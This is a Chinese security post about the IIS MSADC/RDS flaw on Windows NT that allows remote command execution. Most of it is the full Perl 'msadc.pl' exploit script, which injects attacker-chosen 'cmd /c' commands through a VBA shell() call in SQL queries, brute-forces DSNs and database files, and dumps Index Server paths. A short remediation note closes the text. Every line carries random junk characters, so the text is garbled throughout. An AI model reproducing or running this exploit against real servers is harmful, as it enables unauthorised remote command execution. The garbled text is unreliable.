IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
~R"]LbeY cfrvy^>, 涉及程序:
h[Ndtq>3{ Microsoft NT server
p} t{8j> V=G b>_d 描述:
pil0,r
$D 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
r\4*\ GhSL%y 详细:
7yc9`j}] 如果你没有时间读详细内容的话,就删除:
V)_H E c:\Program Files\Common Files\System\Msadc\msadcs.dll
[8B
tIv 有关的安全问题就没有了。
]}UeuF\ u=_bM2;~Z 微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。
5bu[}mJ !D.= 'V 1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。
i}v}K'` 关于利用ODBC远程漏洞的描述,请参看:
$.suu^>^w *u:;:W&5y http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm ;:#?~%7> 1(#*'xR 2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看
b#?ai3E http://www.microsoft.com/security/bulletins/MS99-025faq.asp Nb|3?c_ X|lElN 这里不再论述。
+0oyt? R=#q"9qz 3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似:
-6hu31W ~u O:tL /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
"ZA$"^ 的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!!
B,BOzpb( 9 AQ96 lp37irI: #将下面这段保存为txt文件,然后: "perl -x 文件名"
JLFFh!J j`[yoAH #!perl
kR`6s #
gQ[] # MSADC/RDS 'usage' (aka exploit) script
97:t29N #
}QX2:a # by rain.forest.puppy
D[>XwL #
wHBHkz # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
twYB=68 # beta test and find errors!
o=QRgdPD +l[Z2mW use Socket; use Getopt::Std;
i5L+8kx4 getopts("e:vd:h:XR", \%args);
,T,B0 >q}
!>k$B print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
Z=e[
!c 41
c^\1 if (!defined $args{h} && !defined $args{R}) {
mK7^:(<.LO print qq~
}(f.uN_v Usage: msadc.pl -h <host> { -d <delay> -X -v }
gLXvw] -h <host> = host you want to scan (ip or domain)
!9e\O5PmO -d <seconds> = delay between calls, default 1 second
'0])7jq -X = dump Index Server path table, if available
Q5`+eQ?_\ -v = verbose
2m)kyQ -e = external dictionary file for step 5
|2t7G9[n A9fjMnw Or a -R will resume a command session
m-Z'K_oQ {LMS~nx ~; exit;}
4acP*LkkQ "FLD%3l $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
)$lSG}WD if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
@Le ^- v4 if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
n !CP_ if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
: e0R7sj $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
]sm0E@ 1 if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
Y7b,td1 cW~6@&zp if (!defined $args{R}){ $ret = &has_msadc;
]$?zT`>(F die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
m"?'hR2 ||*&g2Y print "Please type the NT commandline you want to run (cmd /c assumed):\n"
A^= Hu,"e . "cmd /c ";
U:pLnNp` $in=<STDIN>; chomp $in;
Vx\#+)4 $command="cmd /c " . $in ;
C,VqT6E< O_s9 if (defined $args{R}) {&load; exit;}
Y|x6g(b WW8YB" print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
u
#=kb5}{ &try_btcustmr;
Qn'r+X5t 3
4A&LBwC print "\nStep 2: Trying to make our own DSN...";
FgHB1x4; &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
ZhJ|ZvJ '^.=gTk print "\nStep 3: Trying known DSNs...";
V5hlG =V &known_dsn;
>r4Y\"/j KOAz-h@6 print "\nStep 4: Trying known .mdbs...";
XCqfAcNQ &known_mdb;
k?|zIu sGDrMAQt if (defined $args{e}){
KH@) +Rj print "\nStep 5: Trying dictionary of DSN names...";
l;][Q]Z@V &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
?O.6 r" 2Xj-A\Oh~ print "Sorry Charley...maybe next time?\n";
qu#@F\gX exit;
q*<J$PI MSYLkQ}_b ##############################################################################
eqUn8<<s 0-&sJ sub sendraw { # ripped and modded from whisker
*"wD&E? sleep($delay); # it's a DoS on the server! At least on mine...
f-f\}G&G my ($pstr)=@_;
#(7RX} socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
43orR !.Z die("Socket problems\n");
aP6%OI if(connect(S,pack "SnA4x8",2,80,$target)){
gS(: c. select(S); $|=1;
9q0,K" x) print $pstr; my @in=<S>;
zOdasEd8! select(STDOUT); close(S);
/O(;~1B return @in;
fB @pwmu } else { die("Can't connect...\n"); }}
1!v >I"] 5@%=LPV ##############################################################################
4~pO>6P /kviO@jm4( sub make_header { # make the HTTP request
E{k%d39> my $msadc=<<EOT
L[[H\ POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
A0N ;VYv User-Agent: ACTIVEDATA
IpaJ<~ p Host: $ip
!i"9f_ Content-Length: $clen
9OJ\n|,( Connection: Keep-Alive
y
4,T dPdHY` ADCClientVersion:01.06
I!0 $%
]F Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
K~hlwjrt EJ
&ZZg --!ADM!ROX!YOUR!WORLD!
1r-,VX7 Content-Type: application/x-varg
x+)hL
D[
n Content-Length: $reqlen
<4A(Z$ZX) yn ?U7`V EOT
ywsz"/=@ ; $msadc=~s/\n/\r\n/g;
J\,e/{,X return $msadc;}
hoD[wAC 5-QvQ&eH. ##############################################################################
WG[0$j C>K"ZJ sub make_req { # make the RDS request
.D2ub/er my ($switch, $p1, $p2)=@_;
Z5^,!6 my $req=""; my $t1, $t2, $query, $dsn;
V\7u bM3'm$34 if ($switch==1){ # this is the btcustmr.mdb query
t"74HZO> $query="Select * from Customers where City=" . make_shell();
MT#[ -M\ $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
8KdcLN@ $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
d7-F&!sQ aid)q&AcQ elsif ($switch==2){ # this is general make table query
{D2d({7 $query="create table AZZ (B int, C varchar(10))";
jQwg)E+o; $dsn="$p1";}
}-]s#^'w TXk"[>,:H elsif ($switch==3){ # this is general exploit table query
UNH}*]u4` $query="select * from AZZ where C=" . make_shell();
Y8CYkJTAD- $dsn="$p1";}
O6/=/-?N=c +P6 elsif ($switch==4){ # attempt to hork file info from index server
VTX'f2\ $query="select path from scope()";
,vY
I
O $dsn="Provider=MSIDXS;";}
u #QSa$P [?r\b elsif ($switch==5){ # bad query
?Kz`
O>"6 $query="select";
eEds-&_ $dsn="$p1";}
WE8L?55_Au Z(`K6`KM $t1= make_unicode($query);
&)'kX $t2= make_unicode($dsn);
'`A67bdq) $req = "\x02\x00\x03\x00";
K/LaA4 $req.= "\x08\x00" . pack ("S1", length($t1));
=VI`CBQ/Um $req.= "\x00\x00" . $t1 ;
-){^
Q:u $req.= "\x08\x00" . pack ("S1", length($t2));
k}a!lI: $req.= "\x00\x00" . $t2 ;
?B31t9 $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
YwTtI ID% return $req;}
rN!9& 'A@Oia1;{ ##############################################################################
i~PZvxt g8@i_ sub make_shell { # this makes the shell() statement
BOcEL%+ return "'|shell(\"$command\")|'";}
)UU6\2^ &(U=O?r7 ##############################################################################
$,@+Ua
=|t1eSzc sub make_unicode { # quick little function to convert to unicode
JU`'?b my ($in)=@_; my $out;
)t 7HioQ for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
I
Y-5/ return $out;}
:95_W/l VQJ5$4a& ##############################################################################
"%iR-s_>
nLLHggNAV sub rdo_success { # checks for RDO return success (this is kludge)
MhB=+S[@ my (@in) = @_; my $base=content_start(@in);
?=o]Wx0(9 if($in[$base]=~/multipart\/mixed/){
;."{0gq return 1 if( $in[$base+10]=~/^\x09\x00/ );}
,3TD $2};. return 0;}
$fpDABf '`VO@a ##############################################################################
;iI2K/ 3 s5|)4Zac sub make_dsn { # this makes a DSN for us
8{^GC(W{] my @drives=("c","d","e","f");
L7'X7WYf& print "\nMaking DSN: ";
46JP1 foreach $drive (@drives) {
\}&w/.T print "$drive: ";
;7{wa]
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
hzVr3;3Zn
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
VTkT4C@I;Y . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
X~VZ61vNu $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
>R !I return 0 if $2 eq "404"; # not found/doesn't exist
:<G+)hIK if($2 eq "200") {
Gi_X+os foreach $line (@results) {
~x#-#nuh" return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
ep1Ajz.l } return 0;}
jS)-COk )n61IqrW ##############################################################################
QLLVOJi fO|u(e
sub verify_exists {
z>#$#:Z4 my ($page)=@_;
,(b~L<zN& my @results=sendraw("GET $page HTTP/1.0\n\n");
Z?[J_[ZtR3 return $results[0];}
C
5!6k1TcE 3]82gZGG ##############################################################################
[-}%B0S** e"09b<69 sub try_btcustmr {
lcLxqnv my @drives=("c","d","e","f");
m/c~2?-; my @dirs=("winnt","winnt35","winnt351","win","windows");
~oyPmIcb vYun^(_- foreach $dir (@dirs) {
*J-jr8& print "$dir -> "; # fun status so you can see progress
::t!W7W foreach $drive (@drives) {
PU\q.y0R print "$drive: "; # ditto
#!<s& f|O $reqlen=length( make_req(1,$drive,$dir) ) - 28;
\3UdC{~ $reqlenlen=length( "$reqlen" );
5WX2rJ8z $clen= 206 + $reqlenlen + $reqlen;
BbhdGFG1 5{=MUU=
my @results=sendraw(make_header() . make_req(1,$drive,$dir));
$9b6,Y_- if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
Yhdt8[ 2 else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
$O>MV N^>g=Ub ##############################################################################
JIkmtZv :zZM&r> sub odbc_error {
wn.0U my (@in)=@_; my $base;
>@\-m my $base = content_start(@in);
^E8Hv if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
1%{(?uz9 $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
F.w#AV $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
!SNtJi$;v $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
iTyApLV return $in[$base+4].$in[$base+5].$in[$base+6];}
1&WFs6 print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
t)ry)[Dxv print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
*gKr1}M $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
cE#Y,-f s;)tLJ! ##############################################################################
<i?-x&Q?= Sa(rl^qZ2 sub verbose {
#@`^
. my ($in)=@_;
jP]'gQ!-w return if !$verbose;
8BdeqgU/_ print STDOUT "\n$in\n";}
j|w+=A1 Np)!23 " ##############################################################################
{RO=4ba{J w/@%xy sub save {
`hhG^O_ my ($p1, $p2, $p3, $p4)=@_;
u-<s@^YG open(OUT, ">rds.save") || print "Problem saving parameters...\n";
L~zet-3UNf print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
J)+eEmrU close OUT;}
,1kV9_x !pXz-hxKT ##############################################################################
;W"[,#2TM 1A
*8Jnw sub load {
G 3x1w/L my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
k#M W> open(IN,"<rds.save") || die("Couldn't open rds.save\n");
ld6@&34 @p=<IN>; close(IN);
W6>uLMUa $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
l\GNd6)H $target= inet_aton($ip) || die("inet_aton problems");
/otgFQ_ print "Resuming to $ip ...";
D[?|\? $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
Sn,z$-;h; if($p[1]==1) {
Rx<F^J $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
NoIdO/vy" $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
P$yJA7]j;% my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
e4P.G4 if (rdo_success(@results)){print "Success!\n";}
%stktVDAP else { print "failed\n"; verbose(odbc_error(@results));}}
b
/ySt< elsif ($p[1]==3){
4j{ }{ if(run_query("$p[3]")){
K ajyQ"j print "Success!\n";} else { print "failed\n"; }}
U9s y]7 elsif ($p[1]==4){
e76)z;' if(run_query($drvst . "$p[3]")){
=+WFx3/ print "Success!\n"; } else { print "failed\n"; }}
'r0gqtB exit;}
}2{#=Elh XUHY.M ##############################################################################
19DW~kvYk .j.=|5nVo4 sub create_table {
|F`'m":$m my ($in)=@_;
HB^azHr $reqlen=length( make_req(2,$in,"") ) - 28;
`XP Tf#9j $reqlenlen=length( "$reqlen" );
F'!}$oT" $clen= 206 + $reqlenlen + $reqlen;
%Z|*!A+wN5 my @results=sendraw(make_header() . make_req(2,$in,""));
+d96Z^KUhv return 1 if rdo_success(@results);
cm<3'#~Q? my $temp= odbc_error(@results); verbose($temp);
b"V-!.02 return 1 if $temp=~/Table 'AZZ' already exists/;
9p<l}h7g return 0;}
??;[`_h{bz ySZ)yT ##############################################################################
R(fR1 I1jF`xQ&0 sub known_dsn {
Q[^d{e*l # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
|d8o<Q my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
vC1 `m "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
d+;~x* "banner", "banners", "ads", "ADCDemo", "ADCTest");
,`b9c=6; &~EOM foreach $dSn (@dsns) {
:Vc9||k print ".";
aDESO5 next if (!is_access("DSN=$dSn"));
O!jCQ{ T if(create_table("DSN=$dSn")){
4{=Em5`HbO print "$dSn successful\n";
M9nYt~vHX if(run_query("DSN=$dSn")){
gB#t"s) print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
:KwYuwYS print "Something's borked. Use verbose next time\n";}}} print "\n";}
WqO*vK!t ^q$sCt} ##############################################################################
Yy]Henw; $ hapSrS sub is_access {
(H7q [UG| my ($in)=@_;
$I%]jAh6 $reqlen=length( make_req(5,$in,"") ) - 28;
.*{LPfD| $reqlenlen=length( "$reqlen" );
H{If\B%1t $clen= 206 + $reqlenlen + $reqlen;
3ly|y{M", my @results=sendraw(make_header() . make_req(5,$in,""));
191)JWfa my $temp= odbc_error(@results);
.'M]cN~ verbose($temp); return 1 if ($temp=~/Microsoft Access/);
a>6p])Wh return 0;}
!xSGZD=AD tFCeE=4% ##############################################################################
MG|NH0k coBxZyM 1} sub run_query {
`B~%TEvMh my ($in)=@_;
e BPMT $reqlen=length( make_req(3,$in,"") ) - 28;
P=.W.oS $reqlenlen=length( "$reqlen" );
P t$7U[N $clen= 206 + $reqlenlen + $reqlen;
I`7[0jA~ my @results=sendraw(make_header() . make_req(3,$in,""));
}j
x{Cw return 1 if rdo_success(@results);
pmZr<xs my $temp= odbc_error(@results); verbose($temp);
xfilxd return 0;}
\BA_PyS?W+ 1x]G/I* ##############################################################################
{.AFg/Z >*&[bW'}? sub known_mdb {
\W4SZR%u my @drives=("c","d","e","f","g");
^B<jMt my @dirs=("winnt","winnt35","winnt351","win","windows");
/>$kDe my $dir, $drive, $mdb;
q-H]Hxv my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
%rkUy?=vu ouujd~b+ # this is sparse, because I don't know of many
G8@%)$A my @sysmdbs=( "\\catroot\\icatalog.mdb",
F -m1GG0s "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
pdM|dGq^ "\\system32\\certmdb.mdb",
y9 "!ys "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
zPn8>J<.0Q 1-`8v[S my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
Z(#a-_g "\\cfusion\\cfapps\\forums\\forums_.mdb",
sy~mcH:%+ "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
aX!J0&3 "\\cfusion\\cfapps\\security\\realm_.mdb",
a,X3=+_K "\\cfusion\\cfapps\\security\\data\\realm.mdb",
`y4+OXZ^ "\\cfusion\\database\\cfexamples.mdb",
O1QHG'00 "\\cfusion\\database\\cfsnippets.mdb",
iIg_S13 "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
D .E>Y "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
-1[ri8t;nV "\\cfusion\\brighttiger\\database\\cleam.mdb",
`ainJs:B "\\cfusion\\database\\smpolicy.mdb",
C]}0h!_V "\\cfusion\\database\cypress.mdb",
]0o78(/w2 "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
2HUoT\M "\\website\\cgi-win\\dbsample.mdb",
}wn GOr "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
l`d=sOB^ "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
9,4a?.*4~ ); #these are just
4JucNGv foreach $drive (@drives) {
H4UnF5G foreach $dir (@dirs){
6d,"GT foreach $mdb (@sysmdbs) {
18~j>fN print ".";
C)`/Q( ^ if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
|@ia(U~ print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
NWFZ:h@v if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
I3A](`
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
'8Yx } else { print "Something's borked. Use verbose next time\n"; }}}}}
fV3J:^)F r3|vu"Uei foreach $drive (@drives) {
r]TeR$NJ foreach $mdb (@mdbs) {
C0e<
_6p= print ".";
~yci2{ if(create_table($drv . $drive . $dir . $mdb)){
<~3@+EEM print "\n" . $drive . $dir . $mdb . " successful\n";
{aU~[5L3( if(run_query($drv . $drive . $dir . $mdb)){
FG?B:Zl%T print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
5ES$qYN } else { print "Something's borked. Use verbose next time\n"; }}}}
N52N ^X> }
avdi9!J2 @>da%cX ##############################################################################
"w N
DjWv !r$/-8b sub hork_idx {
y2)~ljR print "\nAttempting to dump Index Server tables...\n";
/@q_`tU print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
9+pnpaZB0 $reqlen=length( make_req(4,"","") ) - 28;
B<i1UJ5 $reqlenlen=length( "$reqlen" );
=r`>tWs $clen= 206 + $reqlenlen + $reqlen;
?;\YiOTda my @results=sendraw2(make_header() . make_req(4,"",""));
z`{x1*w_ if (rdo_success(@results)){
=*t)@bn my $max=@results; my $c; my %d;
gq/q]Fm\ for($c=19; $c<$max; $c++){
iYFM@ta $results[$c]=~s/\x00//g;
VEJ Tw $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
*T 6<'a $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
vAX %i( 4 $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
%ePInpb $d{"$1$2"}="";}
F&Q:1`y foreach $c (keys %d){ print "$c\n"; }
RE*;nSVFt } else {print "Index server doesn't seem to be installed.\n"; }}
wqJH w}+jfO9 ##############################################################################
5'6Oan7dL: 8g$pfHt|e sub dsn_dict {
:0r@o:H open(IN, "<$args{e}") || die("Can't open external dictionary\n");
uV{cvq$jy while(<IN>){
&rjMGk"& $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
q^EG'\<^ next if (!is_access("DSN=$dSn"));
/1Ndir^c if(create_table("DSN=$dSn")){
y "gYv print "$dSn successful\n";
s(-$|f+s if(run_query("DSN=$dSn")){
x-cg df print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
-K PbA`j+ print "Something's borked. Use verbose next time\n";}}}
b16\2%Ea1 print "\n"; close(IN);}
@r=O~x h
~v8Q_6 ##############################################################################
S9-FKjU .-uH ax0 sub sendraw2 { # ripped and modded from whisker
pFhznH{0 sleep($delay); # it's a DoS on the server! At least on mine...
whr[rWt@> my ($pstr)=@_;
g\GuH?| socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
[/\}:#MLe die("Socket problems\n");
bvi
Y.G3 if(connect(S,pack "SnA4x8",2,80,$target)){
A(ql}cr print "Connected. Getting data";
@} qMI
open(OUT,">raw.out"); my @in;
rMUn ~ select(S); $|=1; print $pstr;
wm_xH_{F while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
Dhv ^}m@ close(OUT); select(STDOUT); close(S); return @in;
L~=h?C< } else { die("Can't connect...\n"); }}
\\xoOA. xbsp[0I, ##############################################################################
m?0caLw< "KSzn sub content_start { # this will take in the server headers
h:[%' htz my (@in)=@_; my $c;
/5pVzv+rm for ($c=1;$c<500;$c++) {
wa2?%y_G if($in[$c] =~/^\x0d\x0a/){
!UDTNF?1 if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
L3pNna else { return $c+1; }}}
}I`"$2 return -1;} # it should never get here actually
/'O?
8X< nF`_3U8e ##############################################################################
=~15q=XY0 c<fl6o) sub funky {
\AQ*T`Dq my (@in)=@_; my $error=odbc_error(@in);
B _k+Oa2! if($error=~/ADO could not find the specified provider/){
,=jwQG4wq print "\nServer returned an ADO miscofiguration message\nAborting.\n";
bdbTK8- exit;}
i_Ol vuy~ if($error=~/A Handler is required/){
~U}0=lRVS print "\nServer has custom handler filters (they most likely are patched)\n";
a'r8J~:jy exit;}
#?u#=] if($error=~/specified Handler has denied Access/){
P-U9FKrt print "\nServer has custom handler filters (they most likely are patched)\n";
Xw)W6H| exit;}}
%=e^MN1 h&}z@ ##############################################################################
{_C2c{ TuG%oV} sub has_msadc {
c'O"</
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
>{R+j4% my $base=content_start(@results);
Pg4go10| return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
yI$KBx/]n return 0;}
@` 5P^H7 *QH~z2:[ ########################
xU9T8Lw 5d|hP4fEc fkk&pu 解决方案:
2:GS(%~ 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
`cgyiJ 2、移除web 目录: /msadc